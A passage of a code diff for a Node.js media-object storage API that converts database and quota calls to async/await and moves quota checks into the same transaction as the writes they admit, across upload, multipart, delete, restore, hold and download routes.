+182,28 @@ function sanitizeFilename(name) {* Room for `bytes` (and `objects` new objects) in `namespace`: every quota from there up to the* tenant, and the policy's max_object_bytes (objects/namespaces.checkQuota). Answers 413 when not.*/--function quotaCheck(req, res, namespace, { bytes = 0, objects = 0, excludeId = null } = {}) {-- const q = namespaces.checkQuota(req.appRow, namespace, { bytes, objects, excludeId });-- if (!q) return true;-- problem(res, q.status, q.code, q.detail, q.extra);-- return false;++async function quotaCheck(req, res, namespace, opts) {++ return await withQuota(req, res, namespace, opts) !== undefined;++}++++/**++ * The quota check and the write it admits in one transaction, under the tenant's quota lock (namespaces.checkQuota):++ * a racing upload or restore of the same tenant checks after this one commits. `opts` may be an async function, read++ * inside the transaction. Answers 413 and returns undefined when there is no room; else what `write` returned.++ */++async function withQuota(req, res, namespace, opts, write = async () => true) {++ const out = await db.getDb().tx(async () => {++ const q = await namespaces.checkQuota(req.appRow, namespace, typeof opts === 'function' ? await opts() : opts);++ return q ? { q } : { value: await write() };++ });++ if (out.q) { problem(res, out.q.status, out.q.code, out.q.detail, out.q.extra); return undefined; }++ return out.value;}/** An upload step that has no reservation (it was released at abort) takes one again, checked like init. */--function reserveAgain(req, res, obj, bytes) {-- const held = namespaces.reservation(obj.id);-- if (!quotaCheck(req, res, obj.namespace, { bytes, objects: held ? 0 : 1, excludeId: obj.id })) return false;-- namespaces.reserve(obj, bytes);-- return true;++async function reserveAgain(req, res, obj, bytes) {++ return await withQuota(req, res, obj.namespace, async () => ({ bytes, objects: await namespaces.reservation(obj.id) ? 0 : 1, excludeId: obj.id }),++ async () => { await namespaces.reserve(obj, bytes); return true; }) === true;}// ── Content upload (mounted ahead of the JSON body parser — see index.js) ──@@@ -223,7 +232,7 @@ function receive(req, tmp, cap) {}async function putContent(req, res) {-- const obj = load(req, res, 'write');++ const obj = await load(req, res, 'write');if (!obj) { req.resume(); return; }if (!canWrite(req, obj)) { req.resume(); return problem(res, 403, 'media.object.forbidden', 'Not your object'); }if (obj.legacy_ref) { req.resume(); return problem(res, 409, 'media.object.legacy_managed', 'This object is written through the v1 API'); }@@@ -235,7 +244,7 @@ async function putContent(req, res) {res.set('Connection', 'close'); req.resume();return problem(res, 413, 'media.object.too_large', `Objects over ${single} bytes are uploaded in parts: POST /${obj.id}/multipart`);}-- if (multipart.activeFor(obj.id)) { req.resume(); return problem(res, 409, 'media.upload.multipart_active', 'A multipart upload is open for this object: complete or abort it first'); }++ if (await multipart.activeFor(obj.id)) { req.resume(); return problem(res, 409, 'media.upload.multipart_active', 'A multipart upload is open for this object: complete or abort it first'); }const cap = declared || single;const len = Number(req.headers['content-length']);if (Number.isFinite(len) && len > cap) {@@@ -251,7 +260,7 @@ async function putContent(req, res) {const tmpDir = path.join(config.objects.path, '.tmp');fs.mkdirSync(tmpDir, { recursive: true });const tmp = path.join(tmpDir, `${obj.id}-${crypto.randomBytes(4).toString('hex')}`);-- namespaces.touch(obj.id); // the upload is active: its reservation does not expire under it++ await namespaces.touch(obj.id); // the upload is active: its reservation does not expire under itconst got = await receive(req, tmp, cap);const drop = () => { try { fs.unlinkSync(tmp); } catch { /* not written */ } };if (got.error) {@@@ -262,24 +271,23 @@ async function putContent(req, res) {if (declared && got.bytes !== declared) { drop(); return problem(res, 400, 'media.object.size_mismatch', `Declared ${declared} bytes, received ${got.bytes}`); }if (!got.bytes) { drop(); return problem(res, 400, 'media.object.empty', 'No bytes received'); }// The object may have been completed, deleted or expired while the bytes streamed in.-- const current = model.getObject(obj.id);++ const current = await model.getObject(obj.id);if (!current || current.lifecycle_status !== 'uploading') { drop(); return problem(res, 409, 'media.object.not_uploading', `Object is ${current ? current.lifecycle_status : 'gone'}`); }// The real size replaces the declared one in this upload's reservation.-- const held = namespaces.reservation(obj.id);-- if (!quotaCheck(req, res, obj.namespace, { bytes: got.bytes, objects: held ? 0 : 1, excludeId: obj.id })) { drop(); return; }--try {const dest = model.objectFilePath(obj);-- fs.mkdirSync(path.dirname(dest), { recursive: true });-- fs.renameSync(tmp, dest);-- db.getDb().transaction(() => {-- model.updateObject(obj.id, {++ const stored = await withQuota(req, res, obj.namespace, async () => ({ bytes: got.bytes, objects: await namespaces.reservation(obj.id) ? 0 : 1, excludeId: obj.id }), async () => {++ fs.mkdirSync(path.dirname(dest), { recursive: true });++ fs.renameSync(tmp, dest);++ await model.updateObject(obj.id, {size_bytes: got.bytes, content_hash: got.sha256, mime_type: effectiveType,canonical_provider: 'local', canonical_key: dest,});-- model.upsertLocation(obj.id, { provider: 'local', key: dest, state: 'present', size_bytes: got.bytes, checksum: got.sha256, verified: true });-- namespaces.reserve(current, got.bytes);-- })();++ await model.upsertLocation(obj.id, { provider: 'local', key: dest, state: 'present', size_bytes: got.bytes, checksum: got.sha256, verified: true });++ await namespaces.reserve(current, got.bytes);++ return true;++ });++ if (!stored) { drop(); return; }res.json({ id: obj.id, size_bytes: got.bytes, content_hash: got.sha256 });} catch (err) {drop();@@@ -293,7 +301,7 @@ async function putContent(req, res) {const router = express.Router({ mergeParams: true });router.use(tenantCors);--router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {++router.post('/', upload, limits('media.object.upload', UPLOAD), async (req, res) => {try {const b = req.body || {};const kind = String(b.kind || 'file');@@@ -304,9 +312,9 @@ router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {const named = namespaces.resolveName(req.appRow, b.namespace);if (named.error) return problem(res, 400, 'media.namespace.invalid', named.error);const namespace = named.namespace;-- const g = namespaceGrant(req, 'write', namespace);++ const g = await namespaceGrant(req, 'write', namespace);if (!g.allowed) return problem(res, 403, g.code, g.reason);-- const policy = namespaces.effectivePolicy(req.appId, namespace);++ const policy = await namespaces.effectivePolicy(req.appId, namespace);if (Array.isArray(policy.kinds) && !policy.kinds.includes(kind)) return problem(res, 422, 'media.namespace.policy_denied', `${namespace} takes kinds ${policy.kinds.join(', ') || '(none)'}`);if (Array.isArray(policy.visibilities) && !policy.visibilities.includes(visibility)) return problem(res, 422, 'media.namespace.policy_denied', `${namespace} takes visibilities ${policy.visibilities.join(', ') || '(none)'}`);let size = 0;@@@ -344,39 +352,39 @@ router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {// The namespace row, the quota check, the object and its reservation commit together, so two// inits racing for the last of a quota cannot both get it.-- const made = db.getDb().transaction(() => {-- const row = namespaces.ensure(req.appRow, namespace);++ const made = await db.getDb().tx(async () => {++ const row = await namespaces.ensure(req.appRow, namespace);if (row.error) return { problem: { status: row.status, code: row.code, detail: row.error } };-- const q = namespaces.checkQuota(req.appRow, namespace, { bytes: size, objects: 1 });++ const q = await namespaces.checkQuota(req.appRow, namespace, { bytes: size, objects: 1 });if (q) return { problem: q };-- const newId = model.createObject({++ const newId = await model.createObject({app_id: req.appId, namespace, kind, owner_subject: subject, owner_app: req.appId, owner_user_id: userId,visibility, lifecycle_status: 'uploading', mime_type: mime, size_bytes: size, metadata,});-- namespaces.reserve(model.getObject(newId), size);++ await namespaces.reserve(await model.getObject(newId), size);return { id: newId };-- })();++ });if (made.problem) return problem(res, made.problem.status, made.problem.code, made.problem.detail, made.problem.extra);const id = made.id;-- const obj = model.getObject(id);++ const obj = await model.getObject(id);let session = null;if (wantParts) {-- session = multipart.initiate(obj, { partSize: b.part_size });++ session = await multipart.initiate(obj, { partSize: b.part_size });if (session.error) {-- namespaces.settle(id);-- db.run('DELETE FROM media_objects WHERE id = ?', [id]); // nothing was stored for it++ await namespaces.settle(id);++ await db.run('DELETE FROM media_objects WHERE id = ?', [id]); // nothing was stored for itreturn problem(res, session.status, session.code, session.error);}}const single = !wantParts ? presignedPut(req, obj, b.upload_ttl) : null;res.status(201).json({id,-- object: model.objectPublic(obj),++ object: await model.objectPublic(obj),upload: {...(single || { method: 'multipart', url: null, token: null, expires_at: null, max_bytes: size, content_type: mime }),complete_url: `${apiBase(req)}/${id}/complete`,multipart_url: `${apiBase(req)}/${id}/multipart`,-- ...(session ? { multipart: multipartPublic(req, obj, session, { parts: false }) } : {}),++ ...(session ? { multipart: await multipartPublic(req, obj, session, { parts: false }) } : {}),},});} catch (err) {@@@ -390,8 +398,8 @@ router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {* invariant, the quota, and whether the bytes are what their type says; then the ready transition,* its invariant row and the media.object.uploaded event commit together (the webhook follows).*/--function completeUpload(req, res, obj, { expectedHash = null } = {}) {-- const loc = model.listLocations(obj.id).find(l => l.provider === 'local' && l.state === 'present');++async function completeUpload(req, res, obj, { expectedHash = null } = {}) {++ const loc = (await model.listLocations(obj.id)).find(l => l.provider === 'local' && l.state === 'present');if (!loc || !fs.existsSync(loc.key)) return problem(res, 409, 'media.object.no_content', 'PUT the content first');const md = model.parseJson(obj.metadata, {});const expected = String(expectedHash || md.expected_sha256 || '').toLowerCase();@@@ -402,24 +410,24 @@ function completeUpload(req, res, obj, { expectedHash = null } = {}) {return problem(res, 422, 'media.invariant.public_object_too_large', `Public playback objects are limited to ${config.objects.publicMaxMb} MB`);}// Reconciled against the bytes actually stored: the object's real size, everything else as it is now.-- if (!quotaCheck(req, res, obj.namespace, { bytes: Number(obj.size_bytes) || 0, objects: namespaces.reservation(obj.id) ? 0 : 1, excludeId: obj.id })) return;++ if (!await quotaCheck(req, res, obj.namespace, { bytes: Number(obj.size_bytes) || 0, objects: await namespaces.reservation(obj.id) ? 0 : 1, excludeId: obj.id })) return;const typeWhy = ctypes.kindProblem(obj.kind, obj.mime_type) || ctypes.contentProblem(obj.kind, obj.mime_type, ctypes.readHead(loc.key));if (typeWhy) return problem(res, 415, 'media.object.content_mismatch', typeWhy);-- const { data: body } = announce(req.appId, 'media.object.uploaded', {-- change: () => {-- model.updateObject(obj.id, { lifecycle_status: 'ready' });-- namespaces.settle(obj.id); // the ready object counts from now on-- invariant.record(model.getObject(obj.id));++ const { data: body } = await announce(req.appId, 'media.object.uploaded', {++ change: async () => {++ await model.updateObject(obj.id, { lifecycle_status: 'ready' });++ await namespaces.settle(obj.id); // the ready object counts from now on++ await invariant.record(await model.getObject(obj.id));},-- payload: () => model.objectPublic(model.getObject(obj.id)),++ payload: async () => await model.objectPublic(await model.getObject(obj.id)),});-- namespaces.reconcileChain(req.appRow, obj.namespace);++ await namespaces.reconcileChain(req.appRow, obj.namespace);return res.json(body);}/** The object named in the URL, writable by this caller, native and still uploading (else answered). */--function loadUploading(req, res) {-- const obj = load(req, res, 'write');++async function loadUploading(req, res) {++ const obj = await load(req, res, 'write');if (!obj) return null;if (!canWrite(req, obj)) { problem(res, 403, 'media.object.forbidden', 'Not your object'); return null; }if (obj.legacy_ref) { problem(res, 409, 'media.object.legacy_managed', 'This object is written through the v1 API'); return null; }@@@ -428,14 +436,14 @@ function loadUploading(req, res) {}// Complete re-reads the stored bytes (type sniff, hash); twice the init rate leaves room for retries.--router.post('/:id/complete', contentAuth, tenantCors, limits('media.object.complete', { minute: 60, hour: 1200 }), (req, res) => {++router.post('/:id/complete', contentAuth, tenantCors, limits('media.object.complete', { minute: 60, hour: 1200 }), async (req, res) => {try {-- const obj = load(req, res, 'write');++ const obj = await load(req, res, 'write');if (!obj) return;if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');-- if (obj.lifecycle_status === 'ready' && !obj.legacy_ref) return res.json(model.objectPublic(obj));++ if (obj.lifecycle_status === 'ready' && !obj.legacy_ref) return res.json(await model.objectPublic(obj));if (obj.legacy_ref || obj.lifecycle_status !== 'uploading') return problem(res, 409, 'media.object.not_uploading', `Object is ${obj.lifecycle_status}`);-- completeUpload(req, res, obj, { expectedHash: req.body && req.body.content_hash });++ await completeUpload(req, res, obj, { expectedHash: req.body && req.body.content_hash });} catch (err) {console.error('[Objects] complete error:', err.message);problem(res, 500, 'media.object.complete_failed', 'Failed to complete upload');@@@ -444,15 +452,15 @@ router.post('/:id/complete', contentAuth, tenantCors, limits('media.object.compl// ── Presigned single-PUT URL ─────────────────────────────────--router.post('/:id/upload-url', upload, limits('media.object.upload_url', UPLOAD), (req, res) => {-- const obj = loadUploading(req, res);++router.post('/:id/upload-url', upload, limits('media.object.upload_url', UPLOAD), async (req, res) => {++ const obj = await loadUploading(req, res);if (!obj) return;const ttl = req.body && req.body.ttl != null ? Number(req.body.ttl) : (req.query.ttl != null ? Number(req.query.ttl) : undefined);if (ttl !== undefined && !(ttl >= 60 && ttl <= 86400)) return problem(res, 400, 'media.object.invalid', 'ttl must be 60-86400 seconds');if (Number(obj.size_bytes) > config.objects.maxUploadMb * MB) return problem(res, 413, 'media.object.too_large', 'This object is uploaded in parts: POST /multipart');// A fresh URL is a fresh attempt: the upload holds its declared size again (after an abort released it).-- const stored = Number((db.get("SELECT size_bytes FROM media_locations WHERE object_id = ? AND provider = 'local' AND state = 'present'", [obj.id]) || {}).size_bytes) || 0;-- if (!reserveAgain(req, res, obj, Math.max(Number(obj.size_bytes) || 0, stored))) return;++ const stored = Number((await db.get("SELECT size_bytes FROM media_locations WHERE object_id = ? AND provider = 'local' AND state = 'present'", [obj.id]) || {}).size_bytes) || 0;++ if (!await reserveAgain(req, res, obj, Math.max(Number(obj.size_bytes) || 0, stored))) return;res.json(presignedPut(req, obj, ttl));});@@@ -462,18 +470,18 @@ const mpRead = multipartAuth('read');const mpWrite = multipartAuth('write');/** The session named in the URL, belonging to the object, still open (else answered). */--function loadSession(req, res, obj, { open = true } = {}) {-- const session = multipart.getSession(String(req.params.uploadId || ''));++async function loadSession(req, res, obj, { open = true } = {}) {++ const session = await multipart.getSession(String(req.params.uploadId || ''));if (!session || session.object_id !== obj.id) { problem(res, 404, 'media.upload.not_found', 'No such upload for this object'); return null; }-- if (open && session.status === 'active' && multipart.isExpired(session)) multipart.abort(session.id, 'expired'); // releases its reservation-- const now = multipart.getSession(session.id);++ if (open && session.status === 'active' && multipart.isExpired(session)) await multipart.abort(session.id, 'expired'); // releases its reservation++ const now = await multipart.getSession(session.id);if (open && now.status !== 'active') { problem(res, 409, 'media.upload.not_active', `The upload is ${now.status}`); return null; }return now;}--router.post('/:id/multipart', upload, limits('media.object.multipart', UPLOAD), (req, res) => {++router.post('/:id/multipart', upload, limits('media.object.multipart', UPLOAD), async (req, res) => {try {-- const obj = loadUploading(req, res);++ const obj = await loadUploading(req, res);if (!obj) return;const b = req.body || {};let current = obj;@@@ -485,30 +493,30 @@ router.post('/:id/multipart', upload, limits('media.object.multipart', UPLOAD),if (invariant.wouldViolate({ kind: obj.kind, visibility: obj.visibility, size_bytes: size })) {return problem(res, 422, 'media.invariant.public_object_too_large', `Public playback objects are limited to ${config.objects.publicMaxMb} MB`);}-- if (!reserveAgain(req, res, obj, size)) return;-- model.updateObject(obj.id, { size_bytes: size });-- current = model.getObject(obj.id);++ if (!await reserveAgain(req, res, obj, size)) return;++ await model.updateObject(obj.id, { size_bytes: size });++ current = await model.getObject(obj.id);} else if (b.size_bytes != null && Number(b.size_bytes) !== Number(obj.size_bytes)) {return problem(res, 400, 'media.object.size_mismatch', `The object declares ${obj.size_bytes} bytes`);-- } else if (!reserveAgain(req, res, obj, Number(obj.size_bytes))) {++ } else if (!await reserveAgain(req, res, obj, Number(obj.size_bytes))) {return; // a session after an abort holds the declared size again}-- const session = multipart.initiate(current, { partSize: b.part_size });++ const session = await multipart.initiate(current, { partSize: b.part_size });if (session.error) return problem(res, session.status, session.code, session.error);-- res.status(201).json(multipartPublic(req, current, session, { parts: false }));++ res.status(201).json(await multipartPublic(req, current, session, { parts: false }));} catch (err) {console.error('[Objects] multipart init error:', err.message);problem(res, 500, 'media.upload.init_failed', 'Failed to start the upload');}});--router.get('/:id/multipart/:uploadId', mpRead, limits('media.object.multipart_read'), (req, res) => {-- const obj = load(req, res, 'read');++router.get('/:id/multipart/:uploadId', mpRead, limits('media.object.multipart_read'), async (req, res) => {++ const obj = await load(req, res, 'read');if (!obj) return;-- const session = loadSession(req, res, obj, { open: false });++ const session = await loadSession(req, res, obj, { open: false });if (!session) return;-- if (session.status === 'active' && multipart.isExpired(session)) multipart.abort(session.id, 'expired');-- res.json(multipart.sessionPublic(multipart.getSession(session.id)));++ if (session.status === 'active' && multipart.isExpired(session)) await multipart.abort(session.id, 'expired');++ res.json(await multipart.sessionPublic(await multipart.getSession(session.id)));});// Assembling concatenates and hashes every part of an object up to MEDIA_MULTIPART_MAX_MB.@@@ -516,52 +524,52 @@ router.post('/:id/multipart/:uploadId/complete', mpWrite, tenantCors, limits('melet session = null;try {// A repeat of a complete that already succeeded (its answer was lost on the way): the object as it is.-- const already = model.resolveObject(String(req.params.id || ''), req.appId);-- const prior = already && multipart.getSession(String(req.params.uploadId || ''));++ const already = await model.resolveObject(String(req.params.id || ''), req.appId);++ const prior = already && await multipart.getSession(String(req.params.uploadId || ''));if (prior && prior.object_id === already.id && prior.status === 'completed' && already.lifecycle_status === 'ready' && canSee(req, already)) {-- return res.json(model.objectPublic(already));++ return res.json(await model.objectPublic(already));}-- const obj = loadUploading(req, res);++ const obj = await loadUploading(req, res);if (!obj) return;-- session = loadSession(req, res, obj);++ session = await loadSession(req, res, obj);if (!session) return;-- if (!multipart.beginComplete(session)) return problem(res, 409, 'media.upload.not_active', 'The upload is being completed already');++ if (!await multipart.beginComplete(session)) return problem(res, 409, 'media.upload.not_active', 'The upload is being completed already');const b = req.body || {};const dest = model.objectFilePath(obj);const got = await multipart.assemble(session, dest, Array.isArray(b.parts) ? b.parts : null);if (got.error) {-- multipart.reopen(session);++ await multipart.reopen(session);return problem(res, got.status, got.code, got.error, got.missing ? { missing: got.missing } : undefined);}-- db.getDb().transaction(() => {-- model.updateObject(obj.id, {++ await db.getDb().tx(async () => {++ await model.updateObject(obj.id, {size_bytes: got.bytes, content_hash: got.sha256, mime_type: obj.mime_type || 'application/octet-stream',canonical_provider: 'local', canonical_key: dest,});-- model.upsertLocation(obj.id, { provider: 'local', key: dest, state: 'present', size_bytes: got.bytes, checksum: got.sha256, verified: true });-- })();-- multipart.finish(session);-- completeUpload(req, res, model.getObject(obj.id), { expectedHash: b.content_hash });++ await model.upsertLocation(obj.id, { provider: 'local', key: dest, state: 'present', size_bytes: got.bytes, checksum: got.sha256, verified: true });++ });++ await multipart.finish(session);++ await completeUpload(req, res, await model.getObject(obj.id), { expectedHash: b.content_hash });} catch (err) {-- if (session) multipart.reopen(session);++ if (session) await multipart.reopen(session);console.error('[Objects] multipart complete error:', err.message);if (!res.headersSent) problem(res, 500, 'media.object.complete_failed', 'Failed to complete upload');}});// An abort deletes the parts and frees the reservation: a write, cheaper than an upload.--router.delete('/:id/multipart/:uploadId', mpWrite, limits('media.object.multipart_abort', { minute: 60, hour: 1200 }), (req, res) => {-- const obj = load(req, res, 'write');++router.delete('/:id/multipart/:uploadId', mpWrite, limits('media.object.multipart_abort', { minute: 60, hour: 1200 }), async (req, res) => {++ const obj = await load(req, res, 'write');if (!obj) return;if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');-- const session = loadSession(req, res, obj, { open: false });++ const session = await loadSession(req, res, obj, { open: false });if (!session) return;if (session.status === 'completed') return problem(res, 409, 'media.upload.not_active', 'The upload is completed');-- multipart.abort(session.id); // parts deleted; the quota it held is released-- res.json(multipart.sessionPublic(multipart.getSession(session.id), { parts: false }));++ await multipart.abort(session.id); // parts deleted; the quota it held is released++ res.json(await multipart.sessionPublic(await multipart.getSession(session.id), { parts: false }));});--router.get('/', list, limits('media.object.list'), (req, res) => {++router.get('/', list, limits('media.object.list'), async (req, res) => {try {const q = req.query;const limit = Math.min(Math.max(parseInt(q.limit || '50', 10) || 50, 1), 200);@@@ -570,20 +578,21 @@ router.get('/', list, limits('media.object.list'), (req, res) => {if (q.namespace != null && q.namespace !== '') {const named = namespaces.resolveName(req.appRow, q.namespace);if (named.error) return problem(res, 400, 'media.namespace.invalid', named.error);-- const g = namespaceGrant(req, 'list', named.namespace);++ const g = await namespaceGrant(req, 'list', named.namespace);if (!g.allowed) return problem(res, 403, g.code, g.reason);conds.push('(namespace = ? OR substr(namespace, 1, ?) = ?)');params.push(named.namespace, named.namespace.length + 1, `${named.namespace}.`);}// A Network token lists only the namespaces it may list here.if (req.grant) {-- const rows = namespaces.listForTenant(req.appId);-- const listable = rows.filter(r => namespaceGrant(req, 'list', r.namespace).allowed).map(r => r.namespace);++ const rows = await namespaces.listForTenant(req.appId);++ const listable = [];++ for (const r of rows) if ((await namespaceGrant(req, 'list', r.namespace)).allowed) listable.push(r.namespace);if (!listable.length) {// Nothing listable: refused when the verb itself is (a strict namespace), else an empty page.-- const g = namespaceGrant(req, 'list', db.rootNamespace(req.appRow));++ const g = await namespaceGrant(req, 'list', db.rootNamespace(req.appRow));if (!g.allowed && g.code === 'capability.denied') return problem(res, 403, g.code, g.reason);-- conds.push('0');++ conds.push('FALSE');} else if (listable.length < rows.length) {conds.push(`namespace IN (${listable.map(() => '?').join(', ')})`);params.push(...listable);@@@ -600,32 +609,32 @@ router.get('/', list, limits('media.object.list'), (req, res) => {if (q.owner) { conds.push('owner_subject = ?'); params.push(String(q.owner).replace(/^user:/, '')); }if (q.user_id != null) { conds.push('owner_user_id = ?'); params.push(Number(q.user_id)); }if (req.authType === 'user') { conds.push("(visibility != 'private' OR owner_user_id = ?)"); params.push(req.userId); }-- const rows = db.all(`SELECT * FROM media_objects WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, limit + 1]);++ const rows = await db.all(`SELECT * FROM media_objects WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, limit + 1]);const page = rows.slice(0, limit);-- res.json({ objects: page.map(o => model.objectPublic(o, { locations: false })), next_cursor: rows.length > limit ? page[page.length - 1].id : null, limit });++ res.json({ objects: (await Promise.all(page.map(async o => await model.objectPublic(o, { locations: false })))), next_cursor: rows.length > limit ? page[page.length - 1].id : null, limit });} catch (err) {console.error('[Objects] list error:', err.message);problem(res, 500, 'media.object.list_failed', 'Failed to list objects');}});--router.get('/:id', read, limits('media.object.read'), (req, res) => {-- const obj = load(req, res, 'read');-- if (obj) res.json(model.objectPublic(obj));++router.get('/:id', read, limits('media.object.read'), async (req, res) => {++ const obj = await load(req, res, 'read');++ if (obj) res.json(await model.objectPublic(obj));});// Deletes and restores change lifecycle, quota usage and events: writes, tighter than reads.--router.delete('/:id', remove, limits('media.object.delete', { minute: 60, hour: 1200 }), (req, res) => {++router.delete('/:id', remove, limits('media.object.delete', { minute: 60, hour: 1200 }), async (req, res) => {try {-- const obj = load(req, res, 'delete');++ const obj = await load(req, res, 'delete');if (!obj) return;if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');if (obj.legacy_ref) return problem(res, 409, 'media.object.legacy_managed', 'Delete this object through its v1 route (vods, clips, files, pastes)');-- if (model.isHeld(obj.id)) return problem(res, 409, 'media.object.held', 'Object is under a retention hold');-- if (obj.lifecycle_status === 'deleted') return res.json(model.objectPublic(obj));-- const gone = model.softDelete(obj, { by: req.principal ? req.principal.sub : `app:${req.appId}` });-- namespaces.reconcileChain(req.appRow, obj.namespace);-- res.json(model.objectPublic(gone));++ if (await model.isHeld(obj.id)) return problem(res, 409, 'media.object.held', 'Object is under a retention hold');++ if (obj.lifecycle_status === 'deleted') return res.json(await model.objectPublic(obj));++ const gone = await model.softDelete(obj, { by: req.principal ? req.principal.sub : `app:${req.appId}` });++ await namespaces.reconcileChain(req.appRow, obj.namespace);++ res.json(await model.objectPublic(gone));} catch (err) {if (err.code === 'media.object.held' || /retention hold/.test(err.message)) return problem(res, 409, 'media.object.held', 'Object is under a retention hold');console.error('[Objects] delete error:', err.message);@@@ -633,29 +642,31 @@ router.delete('/:id', remove, limits('media.object.delete', { minute: 60, hour:}});--router.post('/:id/restore', remove, limits('media.object.restore', { minute: 60, hour: 1200 }), (req, res) => {-- const obj = load(req, res, 'delete');++router.post('/:id/restore', remove, limits('media.object.restore', { minute: 60, hour: 1200 }), async (req, res) => {++ const obj = await load(req, res, 'delete');if (!obj) return;if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');if (obj.lifecycle_status !== 'deleted' || obj.legacy_ref) return problem(res, 409, 'media.object.not_deleted', 'Only soft-deleted native objects can be restored');// A restored object counts again: it needs the room (in a developer project it never stopped counting).const md = model.parseJson(obj.metadata, {});-- if (md.pre_delete_status !== 'uploading' && !md.purged_at && !quotaCheck(req, res, obj.namespace, { bytes: Number(obj.size_bytes) || 0, objects: 1, excludeId: obj.id })) return;-- const back = model.restore(obj);++ const back = md.pre_delete_status !== 'uploading' && !md.purged_at++ ? await withQuota(req, res, obj.namespace, { bytes: Number(obj.size_bytes) || 0, objects: 1, excludeId: obj.id }, async () => await model.restore(obj))++ : await model.restore(obj);++ if (back === undefined) return;if (!back) return problem(res, 410, 'media.object.purged', 'The retention period has passed and the bytes are gone');-- namespaces.reconcileChain(req.appRow, obj.namespace);-- res.json(model.objectPublic(back));++ await namespaces.reconcileChain(req.appRow, obj.namespace);++ res.json(await model.objectPublic(back));});--router.get('/:id/download', read, limits('media.object.download'), (req, res) => {-- const obj = load(req, res, 'read');++router.get('/:id/download', read, limits('media.object.download'), async (req, res) => {++ const obj = await load(req, res, 'read');if (!obj) return;if (obj.lifecycle_status === 'deleted') return problem(res, 410, 'media.object.deleted', 'Object was deleted');if (obj.lifecycle_status !== 'ready') return problem(res, 409, 'media.object.not_ready', `Object is ${obj.lifecycle_status}`);const json = req.query.format === 'json';res.set('Cache-Control', 'private, no-store');// Developer-project sandbox objects are never public, whatever their visibility: always signed.-- if (obj.visibility !== 'private' && !db.isSandboxTenant(obj.app_id)) {++ if (obj.visibility !== 'private' && !await db.isSandboxTenant(obj.app_id)) {const url = model.legacyPublicUrl(obj) || `${config.publicUrl}/o/${obj.id}`;return json ? res.json({ url, expires_at: null, public: true }) : res.redirect(302, url);}@@@ -666,15 +677,15 @@ router.get('/:id/download', read, limits('media.object.download'), (req, res) =>// ── Retention holds ──────────────────────────────────────────--router.get('/:id/holds', read, limits('media.object.holds'), (req, res) => {-- const obj = load(req, res, 'read');++router.get('/:id/holds', read, limits('media.object.holds'), async (req, res) => {++ const obj = await load(req, res, 'read');if (!obj) return;res.json({object_id: obj.id,-- holds: model.listHolds(obj.id, { includeReleased: ['1', 'true'].includes(String(req.query.all || '')) }).map(model.holdPublic),++ holds: (await model.listHolds(obj.id, { includeReleased: ['1', 'true'].includes(String(req.query.all || '')) })).map(model.holdPublic),// A clip is held while its source VOD is (released holds are the VOD's to list).-- inherited_holds: model.inheritedHolds(obj.id).map(model.holdPublic),-- held: model.isHeld(obj.id),++ inherited_holds: (await model.inheritedHolds(obj.id)).map(model.holdPublic),++ held: await model.isHeld(obj.id),});});@@@ -685,27 +696,27 @@ function holdsByApp(req, res) {return false;}--router.post('/:id/holds', appOnly, (req, res) => {++router.post('/:id/holds', appOnly, async (req, res) => {if (!holdsByApp(req, res)) return;-- const obj = load(req, res);++ const obj = await load(req, res);if (!obj) return;const b = req.body || {};if (!model.HOLD_KINDS.includes(b.kind)) return problem(res, 400, 'media.hold.invalid', `kind must be one of ${model.HOLD_KINDS.join(', ')}`);const named = b.placed_by || b.created_by;const by = named ? String(named).slice(0, 200) : `app:${req.appId}${req.userId != null ? `:user:${req.userId}` : ''}`;-- const hold = model.placeHold({ object_id: obj.id, kind: b.kind, reason: b.reason || '', created_by: by, note: b.note });++ const hold = await model.placeHold({ object_id: obj.id, kind: b.kind, reason: b.reason || '', created_by: by, note: b.note });console.log(`[Objects] Retention hold ${hold.id} placed on ${obj.id} (${obj.legacy_ref || obj.kind}) by ${by} (${req.appId}): ${hold.kind}`);res.status(201).json(model.holdPublic(hold));});--router.delete('/:id/holds/:holdId', appOnly, (req, res) => {++router.delete('/:id/holds/:holdId', appOnly, async (req, res) => {if (!holdsByApp(req, res)) return;-- const obj = load(req, res);++ const obj = await load(req, res);if (!obj) return;-- const hold = db.get('SELECT * FROM media_holds WHERE id = ? AND object_id = ?', [parseInt(req.params.holdId, 10), obj.id]);++ const hold = await db.get('SELECT * FROM media_holds WHERE id = ? AND object_id = ?', [parseInt(req.params.holdId, 10), obj.id]);if (!hold) return problem(res, 404, 'media.hold.not_found', 'No such hold on this object');const by = (req.body && req.body.released_by) ? String(req.body.released_by).slice(0, 200) : `app:${req.appId}`;-- const out = model.releaseHold(hold.id, by);++ const out = await model.releaseHold(hold.id, by);if (!hold.released_at) console.log(`[Objects] Retention hold ${hold.id} on ${obj.id} released by ${by} (${req.appId})`);res.json(model.holdPublic(out));});@@@ -719,13 +730,13 @@ publicRouter.get('/:id', async (req, res) => {// A restore drill (MEDIA_DRILL) serves no stored bytes, local or by a B2/R2 redirect.if (require('../drill').refuseBytes(res)) return;try {-- const obj = model.getObject(String(req.params.id || ''));++ const obj = await model.getObject(String(req.params.id || ''));if (!obj) return res.status(404).json({ error: 'Not found' });const signed = !!req.query.sig && signing.verifyDownload(obj.id, req.query.exp, req.query.sig);// Private objects (and every developer-project sandbox object) are indistinguishable from// missing ones without a valid signature — checked before the lifecycle answers, or a 410// for a deleted private object would still say it existed.-- const sandbox = db.isSandboxTenant(obj.app_id);++ const sandbox = await db.isSandboxTenant(obj.app_id);if ((obj.visibility === 'private' || sandbox) && !signed) return res.status(404).json({ error: 'Not found' });if (obj.lifecycle_status === 'deleted') return res.status(410).json({ error: 'Gone' });if (obj.lifecycle_status !== 'ready') return res.status(404).json({ error: 'Not found' });@@@ -742,8 +753,8 @@ publicRouter.get('/:id', async (req, res) => {};// A viewer of a native object, counted once a day without being identified (objects/popularity.js); the// object tiering reads these counts. Sandbox objects are never tiered, so they are not counted.-- if (!obj.legacy_ref && !sandbox) require('./popularity').record(obj, req);-- const locs = model.listLocations(obj.id);++ if 